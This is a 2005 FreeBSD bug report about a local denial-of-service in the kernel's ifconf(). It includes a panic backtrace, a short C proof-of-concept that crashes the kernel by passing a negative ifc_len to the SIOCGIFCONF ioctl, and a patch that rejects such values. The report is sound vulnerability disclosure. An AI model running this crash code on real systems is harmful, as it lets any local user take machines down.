Date: 12 Feb 2005 16:02:02 -0000 From: "Wojciech A. Koszek" <dunstan@FreeBSD.czest.pl> To: FreeBSD-gnats-submit@FreeBSD.org Subject: kern/77424: [PATCH] Local DoS from user-space in ifconf() Message-ID: <20050212160202.2021.qmail@dunstan.freebsd.czest.pl> Resent-Message-ID: <200502121830.j1CIUKGP078286@freefall.freebsd.org>
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>Number: 77424 >Category: kern >Synopsis: [PATCH] Local DoS from user-space in ifconf() >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Feb 12 18:30:20 GMT 2005 >Closed-Date: >Last-Modified: >Originator: Wojciech A. Koszek >Release: FreeBSD 5.3-STABLE i386 >Organization: >Environment: System: FreeBSD dunstan.freebsd.czest.pl 5.3-STABLE FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005 root@dunstan.freebsd.czest.pl:/usr/obj/usr/src/sys/HOME6 i386 -- kern.ostype: FreeBSD kern.osrelease: 5.3-STABLE kern.osrevision: 199506 kern.version: FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005 root@dunstan.freebsd.czest.pl:/usr/obj/usr/src/sys/HOME6 -- kern.ostype: FreeBSD kern.osrelease: 6.0-CURRENT kern.osrevision: 199506 kern.version: FreeBSD 6.0-CURRENT #2: Sat Feb 12 10:43:18 UTC 2005 root@:/usr/obj/usr/src/sys/GENERIC -- >Description: Bug exists in /usr/src/sys/net/if.c, function ifconf(), because only partial validity check is done on data passed from user-space. This lets every user to cause kernel panic by supplying maliciuos values (ifc_len from ifconf structure to numbers < 0) and calling ioctl with SIOCGIFCONF argument: panic: wrote past end of sbuf (0 >= 0) KDB: stack backtrace: panic(c0663212,0,0,d94b0bd8,c04f6a8f) at panic+0xeb _assert_sbuf_integrity(c1a2a4a0,c1a2a400,c1bfb2e0,d94b0c34,c053dc99) at _assert_ sbuf_integrity+0x3b sbuf_bcat(c1bfb2e0,d94b0c08,10,1,0) at sbuf_bcat+0x1b ifconf(c1c86dec,c0086924,d94b0c60,c1bd1780,c1bd1780) at ifconf+0x129 ioctl(c1bd1780,d94b0d14,3,0,292) at ioctl+0x11e syscall(2f,2f,2f,0,bfbfecc8) at syscall+0x128 Xint0x80_syscall() at Xint0x80_syscall+0x1f --- syscall (54, FreeBSD ELF32, ioctl), eip = 0x8048517, esp = 0xbfbfe81c, ebp = 0xbfbfec78 --- Uptime: 4m38s >How-To-Repeat: Attached code [ifconftest.c] should panic your kernel: $ gcc ifconftest.c -o ifconftest $ ./ifconftest >Fix: Attached patch [diff.0.if.c] corrects this problem (-STABLE and -CURRENT). Patch should be tested. --- ifconftest.c begins here --- #include <sys/param.h> #include <sys/socket.h> #include <sys/errno.h> #include <sys/ioctl.h> #include <net/if.h> #include <netinet/in.h> int main () { struct ifreq iq; struct ifconf ic; int s, error = 0; char buf[1024]; s = socket(AF_INET, SOCK_DGRAM, 0); if (s == -1) exit(1); bzero(&iq, sizeof(iq)); bzero(&ic, sizeof(ic)); strncpy(iq.ifr_name, "lo0", sizeof(iq.ifr_name)); ic.ifc_len = -100; ic.ifc_buf = buf; error = ioctl(s, SIOCGIFCONF, (caddr_t) &ic); if (error) errx(1, "%s[%d]\n", strerror(errno), errno); printf("%s\n", buf); exit(0); } --- ifconftest.c ends here --- --- diff.0.if.c begins here --- Fixes leak in ifconf() when ioctl(2) is called with SIOCGIFCONF and length of request equal to -1 diff -upr /usr/src/sys/net/if.c src/sys/net/if.c --- /usr/src/sys/net/if.c Thu Nov 11 12:34:14 2004 +++ src/sys/net/if.c Sun Nov 21 00:42:56 2004 @@ -1508,6 +1508,8 @@ ifconf(u_long cmd, caddr_t data) max_len = MAXPHYS - 1; again: + if (ifc->ifc_len <= 0) + return (EINVAL); if (ifc->ifc_len <= max_len) { max_len = ifc->ifc_len; full = 1; --- diff.0.if.c ends here --- >Release-Note: >Audit-Trail: >Unformatted: critical medium
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